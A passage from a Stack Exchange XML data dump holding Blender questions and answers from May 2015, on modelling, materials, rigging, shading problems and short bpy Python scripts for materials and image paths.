here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Contnue the same process until you reach the desired tube's shape.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/QoLQE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remove doubles (hit &lt;kbd&gt;W&lt;/kbd&gt;---&gt;&lt;em&gt;Remove doubles&lt;/em&gt;) and add the &lt;em&gt;Subsurf&lt;/em&gt; and &lt;em&gt;Solidify&lt;/em&gt; modifiers. Now you have the clean topology for the fluid simulation.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xRTpw.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastEditorUserId="7797" LastEditDate="2015-05-08T18:23:41.663" LastActivityDate="2015-05-08T18:23:41.663" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30609" PostTypeId="1" AcceptedAnswerId="30625" CreationDate="2015-05-08T15:00:42.360" Score="8" ViewCount="1051" Body="&lt;p&gt;I have cytrine and blue topacio stones.&#xA;I have added glass shader material using IOR number for both stones.&#xA;I have an emission light dome.&#xA;When i render the scene my gold ring shows reflection, except my stones.&#xA;How can i get my stones with reflexion and more realistic ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hEAw5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5NscR.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7783" LastActivityDate="2015-05-08T20:16:31.987" Title="Cycles: how to get glass reflexion on precious stones" Tags="&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30610" PostTypeId="1" AcceptedAnswerId="44330" CreationDate="2015-05-08T15:13:01.223" Score="5" ViewCount="1262" Body="&lt;p&gt;I wonder what's causing this kind of problems and how to get rid of it. I tried to remove doubles and recalculate normals but these don't work. Any ideas?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UCebU.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="7797" LastActivityDate="2016-01-06T23:50:57.777" Title="Strange artifacts in material transparency (viewport)" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;3d-view&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30611" PostTypeId="2" ParentId="30606" CreationDate="2015-05-08T16:17:26.727" Score="2" Body="&lt;ul&gt;&#xA;&lt;li&gt;[child of] constraint and armature may be part of the answer you are looking for. You may need multiples of these.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Armatures and [child of] constraints are used below. In the images below the armature is black color in pose mode.  Some bones are are coincident (Same location ... different rotation) and thus not obvious from a casual inspection. 36 = 6 x by 6 different meshes.  Plane (very flat cube) thickness and near flat fold are for illustrative purposes.  I have not stated why I think the combination of the two is useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bKJKL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Guijs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/diTS4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dz7Ps.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nBJv0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IztO.png&quot; alt=&quot;Multiple Child of constraints&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Blender scene can have multiple [child of] constraints for optional control influence strength 00%, 50%, 100%.  Two [child of] constraints may be compounded fully via matrix multiplication ... or blended together. Each can have full strength at different times.&#xA;Please read the latest info in the manual.&#xA;Note that all rotation, scale, position boxes are checked intentionally.  The allows [moving] the origin of rotation for individual rectangular meshes  of the multiple mesh 3d-plane.  I believe you need this flexibility.  If you uncheck some boxes your rotation will use the original origin.  The multiple constraints will allow multiple fold simulations of a face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plane has a thickness which you might consider.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A Blender scene can have a hierarchy of parents, controls controlling other controls.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So parent of parent of parent .... grand parent concept may be useful to you.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Consider one or multiple armature modifiers. This is a mechanical hinged non organic animation.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have not considered the video that carefully to suggest a (best if any) approach&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might consider more than one mesh.  I am only considering motion at this point.  Textures are a separate issue.&#xA;More to follow&lt;/p&gt;&#xA;" OwnerUserId="6076" LastEditorUserId="6076" LastEditDate="2015-05-09T21:57:07.873" LastActivityDate="2015-05-09T21:57:07.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30612" PostTypeId="1" CreationDate="2015-05-08T16:32:07.043" Score="4" ViewCount="715" Body="&lt;p&gt;I am new to Blender and try to reproduce a YouTube Tutorial&lt;a href=&quot;https://www.youtube.com/watch?v=j2dJbcTD6j0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Tutorial: Splash Effect&lt;/a&gt;. Everything works fine, up until I try to render the image. What I get then is nothing but black and white noise, also known as salt-and-pepper noise:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nb5xj.png&quot; alt=&quot;salt-and-pepper image&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I re-checked that the three light sources are set to Emission. The number of render samples is set to 10, but also increasing it to 100 doesn't change anything.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.dropbox.com/s/nrxzavdes6kffwb/pepper-water-tutorial.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here is the blend file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure I made a stupid noob mistake, but which?&#xA;Thanks a lot,&#xA;Polis&lt;/p&gt;&#xA;" OwnerUserId="14237" LastEditorUserId="14237" LastEditDate="2015-05-11T07:56:07.397" LastActivityDate="2015-05-11T18:59:09.723" Title="Rendered image only black and white noise" Tags="&lt;rendering&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30613" PostTypeId="2" ParentId="30488" CreationDate="2015-05-08T16:58:42.943" Score="8" Body="&lt;p&gt;Use &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Region.html?highlight=types.region#bpy.types.Region.tag_redraw&quot; rel=&quot;nofollow&quot;&gt;Region.tag_redraw&lt;/a&gt; on the corresponding region. The &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_74_release/bpy.types.Region.html?highlight=types.region#bpy.types.Region.type&quot; rel=&quot;nofollow&quot;&gt;region type&lt;/a&gt; of the &lt;kbd&gt;T&lt;/kbd&gt;-Panel is &lt;code&gt;'TOOLS'&lt;/code&gt; and the type of the &lt;kbd&gt;N&lt;/kbd&gt;-Panel is &lt;code&gt;'UI'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for region in context.area.regions:&#xA;    if region.type == &quot;UI&quot;:&#xA;        region.tag_redraw()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2015-05-15T17:36:22.507" LastActivityDate="2015-05-15T17:36:22.507" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30614" PostTypeId="2" ParentId="30604" CreationDate="2015-05-08T17:50:39.477" Score="10" Body="&lt;p&gt;I think this is a great question, because it applies to real-life engineering too. Before getting rid of that troubled geometry it helps to understand why it happens in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/d0Qd1.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Problem&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The reason for the overlapping geometry is that the radius of those bends is smaller than the radius of the tube minus the thickness. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Radius of tube exceeds bend radius:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/filo2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Resolution&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Either make the bends bigger or the radius of the tube smaller. If you want a tight corner tweak them so that the bend radius is about the same as the tube radius (plus or minus the tube thickness). Then use the solidify modifier in the offset direction which allows you to give it thickness (either offset towards the inside, or outside)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: just about right&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nFNNA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whether you use bezier or spun geometry, is really down to personal taste. The bezier approach allows you to quickly edit your path, and while it will not give perfect arc bends mathematically, that might not matter for your purposes. If you are to simulate real tubing, that too is almost never perfect arc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to make a lot of tubing here's a blend that uses the &lt;a href=&quot;https://github.com/nortikin/sverchok&quot; rel=&quot;nofollow noreferrer&quot;&gt;sverchok  parametric addon&lt;/a&gt;, it lets you adjust the tube radius and bend radius on the fly till you get it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CeD4R.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/224/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=224&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-05-08T18:31:16.693" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30615" PostTypeId="2" ParentId="30524" CreationDate="2015-05-08T18:11:28.357" Score="0" Body="&lt;p&gt;Instead of mixing between 2 materials, I painted a 2nd texture map with a soft edged alpha channel.  The object using the 2nd map was cut from a duplicate of the crater area (without shape key effects).  I'll call this 'crater overlay'.  The overlay was then shrinkwrapped (+ solidify modifier) over the crater and on to the original asteroid object. Shrinkwrap works just fine with the target objects shape keys.  On the original asteroid I also painted an additional texture map for 'mixing' in darker burn marks around the rim.  JA12 over at Blenderartists.org has a nice procedural method, but I cannot understand it well enough to apply to my model - better off just painting for now.  Below is my result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Neprw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14178" LastActivityDate="2015-05-08T18:11:28.357" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30616" PostTypeId="1" CreationDate="2015-05-08T18:17:49.093" Score="1" ViewCount="264" Body="&lt;p&gt;I've been trying to set up an IK bone on my foot bone, but every time I set my foot bone as its active bone, the foot bone disconnects from the lower leg bone parent, and sets the IK bone as its parent, though in 'keep offset' mode. This is in version 2.7&lt;/p&gt;&#xA;" OwnerUserId="14238" LastActivityDate="2015-05-08T18:17:49.093" Title="How do you set two parent bones into one child bone?" Tags="&lt;bones&gt;&lt;parent&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30617" PostTypeId="1" AcceptedAnswerId="30618" CreationDate="2015-05-08T18:44:09.817" Score="2" ViewCount="156" Body="&lt;p&gt;I’m encountering an issue and I am wondering if anyone could help me figure out why my created 3D model is displaying this way in 3D view. I have tried to use correct language where possible, but I apologize in advance if my terminology is lacking, as I am new to blender and 3D programs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am attempting to create an object which shows up as Shadeless in 3D view. However, although I have created and applied a material which is Shadeless, some faces appear to be affected by lighting in the scene. This only appears to apply to the faces on the back of the character's head, and the character’s legs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even when I turn off Shadeless in the material, the problem persists in those areas. However, if I turn off Textured Solid (under the Shading panel in the 3D view), the problem is not present, leading me to believe this is potentially some kind of issue with the material as opposed to the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already tried:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Removing doubles&lt;/li&gt;&#xA;&lt;li&gt;Selecting all faces and recalculating normals&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Other things which may be of note:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Although the legs are separated from the rest of the body by a UV mapping seam, this is notably not the case for the area on the head.&lt;/li&gt;&#xA;&lt;li&gt;The entire model renders with shadeless: the shading issue only appears in 3D view.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a link to the &lt;a href=&quot;http://www.pasteall.org/blend/35973&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/igpuY.png&quot; alt=&quot;This should clearly demonstrate the problem areas, on the legs and the back of the head.&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/sJge6.png&quot; alt=&quot;Even with shadeless deactivated in the material, the problem persists.&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/cS1aL.png&quot; alt=&quot;When Textured Solid is turned off, the problem shading is not present, but (of course) the texture does not show in 3D view.&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/rSM70.png&quot; alt=&quot;the UV map, in case it is helpful in solving the issue.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14239" LastActivityDate="2015-05-08T19:19:07.467" Title="What is causing this unexpected shading in 3D view?" Tags="&lt;texturing&gt;&lt;materials&gt;&lt;3d-view&gt;&lt;light&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30618" PostTypeId="2" ParentId="30617" CreationDate="2015-05-08T19:05:14.733" Score="2" Body="&lt;p&gt;There's a few things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The normals of the faces in those sections are pointing in the opposite direction of the normals around it, but that's not the problem you describe, however it might be a problem later, best deal with it anyway. You can flip selected faces, if 'recalc normals' doesn't quite get all of them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be a Vertex Color layer, with specifically those faces coloured. Press the minus on this. That will wipe the vertex colours. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AsHbz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How this happened? Being new to an application it is probable that you accidentally went into vertex paint mode a few times.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-08T19:19:07.467" LastActivityDate="2015-05-08T19:19:07.467" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30620" PostTypeId="1" AcceptedAnswerId="30632" CreationDate="2015-05-08T19:25:39.643" Score="2" ViewCount="84" Body="&lt;p&gt;I have a modular character with separated parts (for game) and different head variations. For some reason one head has differently weighted edge loop around neck, which causes problems when moving neck bone:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/FXzOQ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Both heads have vertices in the same place along this problematic edge loop and both are separated from torso. If Head nr 1 deforms correctly, then, after transfering weights, Head nr 2 should deform the same way, right? When i Transfer Weights from Head 1 to Head 2 it transfers the weights (i've tested it), but this problematic edge loop is still detaching when moving neck bone. How to solve this problem? Here's my .blend file ('Head2' mesh is hidden): &lt;a href=&quot;http://www.pasteall.org/blend/35974&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.pasteall.org/blend/35974&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8335" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-05-08T21:11:25.423" Title="Transfer Weights does not affect one edge loop" Tags="&lt;animation&gt;&lt;bones&gt;&lt;weight-painting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30621" PostTypeId="1" CreationDate="2015-05-08T19:42:33.593" Score="6" ViewCount="6108" Body="&lt;p&gt;My Apple mouse has only one button (a Left button). Normally I use                   ctrl + left mouse as a way to use the left mouse button but it doesn't work with blender. what do I have to do. Because I can't select anything.&lt;/p&gt;&#xA;" OwnerUserId="14242" LastActivityDate="2016-09-18T00:56:11.560" Title="My Mac Mouse has only a left button" Tags="&lt;osx&gt;" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30622" PostTypeId="1" AcceptedAnswerId="30624" CreationDate="2015-05-08T19:45:55.900" Score="4" ViewCount="2332" Body="&lt;p&gt;I am using ePMV Blender addon to import molecular structures into Blender. It generates multiple objects (protein sub-structures called helices, coils and strands) and it assigns a separate material slot to each of them automatically. This generates hundreds of individual default materials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The materials are named with the convention:&#xA;mat_molecule_A_Strand1, mat_molecule_A_Strand2, mat_molecule_A_Strand3 ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;mat_molecule_B_Helix1, mat_molecule_B_Helix2, mat_molecule_B_Helix3 ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A and B are different parts of the molecule (called chains). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oKb4L.jpg&quot; alt=&quot;Igg molecule imported by ePMV&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like these parts to have separate materials. On top of that, I would like to change materials WITHIN each chain, for example one shader from object 1 to 15, other shader from object 16 to 30, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could supposedly change one object material and manually link this material to the rest of them clicking one by one. But some molecules have hundreds of these objects, so I believe I would need to use Python to do it in which I'm not so advanced. Any help with how to bite this highly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the pseudocode would be something like below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For changing materials for all objects in chain A:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;IF object_name CONTAINS &quot;_A_&quot; &#xA;   { FOREACH object_name&#xA;     {APPLY material_01 to object_name}&#xA;   }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For changing materials for only 15 first objects in chain B:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  IF object_name CONTAINS &quot;_B_&quot; &#xA;       { $i = 1 &#xA;         DO {&#xA;               APPLY material_02 to object_name$i&#xA;               $i++                   &#xA;&#xA;            } UNTIL $i = 15&#xA;       }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-05-08T20:06:24.593" Title="Assign one material to multiple objects via Python" Tags="&lt;python&gt;&lt;materials&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30623" PostTypeId="2" ParentId="30622" CreationDate="2015-05-08T19:55:13.263" Score="2" Body="&lt;p&gt;&lt;strong&gt;Duplicate&lt;/strong&gt; your materials with this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;mat = bpy.data.materials['Material']&#xA;duplicate = mat.copy()&#xA;# now there is &quot;Material.001&quot; identical to &quot;Material&quot;&#xA;duplicate.name = &quot;Some Better Name&quot;   # No one likes .001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Change&lt;/strong&gt; their properties (cycles or blender internal):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/23436/control-cycles-material-nodes-and-material-properties-in-python/23446#23446&quot;&gt;Control Cycles material nodes and material properties in Python&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Assign&lt;/strong&gt; them to objects:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/23433/assign-a-new-material-to-an-object-in-the-scene?rq=1&quot;&gt;How to assign a new material to an object in the scene from Python?&lt;/a&gt; (works also for assigning existing materials)&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2015-05-08T20:06:24.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30624" PostTypeId="2" ParentId="30622" CreationDate="2015-05-08T20:01:00.800" Score="6" Body="&lt;p&gt;for the python specific stuff&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;objects = bpy.data.objects&#xA;&#xA;material_01 = bpy.data.materials['some_named_material']&#xA;for obj in objects:&#xA;    if '_A_' in obj.name:&#xA;        obj.data.materials[0] = material_01&#xA;&#xA;Si = 1&#xA;for obj in objects:&#xA;    if '_B_' in obj.name:&#xA;        obj.data.materials[0] = material_02&#xA;        Si+=1&#xA;        if Si == 15:&#xA;            break&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might have to do additional sorting of all objects that contain those strings.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="47" LastEditDate="2015-05-08T20:06:08.760" LastActivityDate="2015-05-08T20:06:08.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30625" PostTypeId="2" ParentId="30609" CreationDate="2015-05-08T20:16:31.987" Score="8" Body="&lt;p&gt;Lighting glossy surfaces is always about dealing with whatever is reflected on them.&#xA;I think your setup is quite nice, but in my opinion the reflections on the glass could be brighter. I would add more contrast to the surrounding dome's texture.&#xA;On the dome you are using for lighting you might want to change the texture to the color input socket and have the intensity be a value you can control:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example I'm using a dome with a voronoi texture to create a somehow random pattern for the light. The curves let you control the contrast. The whole idea is to get an interesting a pattern to reflect on the glossy surfaces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Q4KwT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EGo7d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastActivityDate="2015-05-08T20:16:31.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30626" PostTypeId="1" AcceptedAnswerId="30641" CreationDate="2015-05-08T20:26:54.213" Score="3" ViewCount="128" Body="&lt;p&gt;I am experimenting with procedural textures, and I'd like to create a texture like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;x = A.dot(orco-P0)&#xA;y = B.dot(orco-P0)&#xA;output = image[x][y]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is not THAT hard to compute dot products in nodes (although it is a lot of clicking).  The roadblock I am hitting is that the Image input has no input for coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I accomplish my mission in texture nodes?  (This is using Blender Internal in case that wasn't clear from the subject line)&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="241" LastEditDate="2015-05-09T16:42:52.037" LastActivityDate="2015-05-13T16:12:54.510" Title="How do you sample an image at a computed coordinate in the context of a Blender Internal node-based texture?" Tags="&lt;texturing&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30627" PostTypeId="1" CreationDate="2015-05-08T20:41:02.857" Score="6" ViewCount="3964" Body="&lt;p&gt;I've searched the internet, and have seen the code which generates this error.  While I've been a programmer for more years than I can remember, I'm still quite new to Blender (and I have a feeling, this can go on for quite a while in spite of handling a massive learning curve. ;-))  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway, I am making a model of my home, and I decided I wanted to separate the inner walls from the outer walls to place them in separate layers.  Everything was going fairly well using rip.  I would run across some duplicates, or the occasional mismatch in closeness which weren't merged.  I handled by either merging, then ripping, or removing duplicates.  However, I came across one wall section which just won't rip not matter what.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To me, I'm thinking that somehow Blender thinks one or more of the vertices belong to one piece, like the inner, and the other one or more of 4 belong to the other side, like the outer wall.  And I'm getting the error message &quot;Cannot rip multiple disconnected vertices&quot;, which according to the code, could be fixed, but apparently has yet to be done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Details are included in the code as follows: &quot;When calling edge split we operate on tagged edges rather then selected, this is important because the edges to operate on are extended by one.&quot;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, this appears to be a problem with referencing the edges and what face they belong to, or some such thing.  In a couple of cases, I deleted the faces, leaving only edges and vertices, and the rip worked, in another I had to excise a piece of the inner wall, and then grab and move the edge close, without merging the vertices, to keep the concept of separating the join, or basically unwelding (as I've heard some say).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, this problem seems to show up a bit, now that it's reared its ugly head, and I'm hoping someone can tell me how to fix the problem mentioned in the code, or explain the difference between a &quot;tagged&quot; edge, vs a &quot;selected&quot; edge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a feeling if this was an easy fix, it would have been fixed in code at creation; so, I'm presuming it's not an easy fix.  This really impairs the Rip function, which is a very nice feature, from my understanding this is a new feature, and I feel fortunate that it exists at a time I'm just starting out in Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, is there any help out there on either fixing the specific problem regarding why there is a 'tagging' vs 'selected' problem.  I do have a lengthy workaround; but, it would be nice to either see this fixed, or I could report it as a bug, or maybe something totally different?&lt;/p&gt;&#xA;" OwnerUserId="14243" LastEditorUserId="2217" LastEditDate="2015-05-09T00:39:44.257" LastActivityDate="2021-05-19T19:14:31.690" Title="Cannot rip multiple disconnected vertices" Tags="&lt;modeling&gt;&lt;scripting&gt;&lt;vertices&gt;&lt;edges&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30628" PostTypeId="2" ParentId="30599" CreationDate="2015-05-08T20:48:06.137" Score="3" Body="&lt;p&gt;you can  do that using python script to alter the path of every image located in the older folder to be looked for in the new one; the nodes will automatically be updated after this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;images = bpy.data.images  &#xA;&#xA;for img in images :&#xA;    if img.source == 'FILE' :&#xA;         img.filepath = img.filepath.replace('\\old_folder\\','\\new_folder\\')&#xA;         img.reload()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="7777" LastEditDate="2015-05-08T21:05:20.200" LastActivityDate="2015-05-08T21:05:20.200" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30629" PostTypeId="1" AcceptedAnswerId="30635" CreationDate="2015-05-08T20:56:59.430" Score="2" ViewCount="2039" Body="&lt;p&gt;I would want to put a mask on a picture with the background transparent. I currently have it in the node editor. I have a mask input node and I add it to my image with a mix node. But I can only set color(like green, red, brown...) with the mix node but I would want a transparent background.&lt;/p&gt;&#xA;" OwnerUserId="14145" LastActivityDate="2015-05-08T22:27:21.707" Title="Transparency with a mask" Tags="&lt;nodes&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
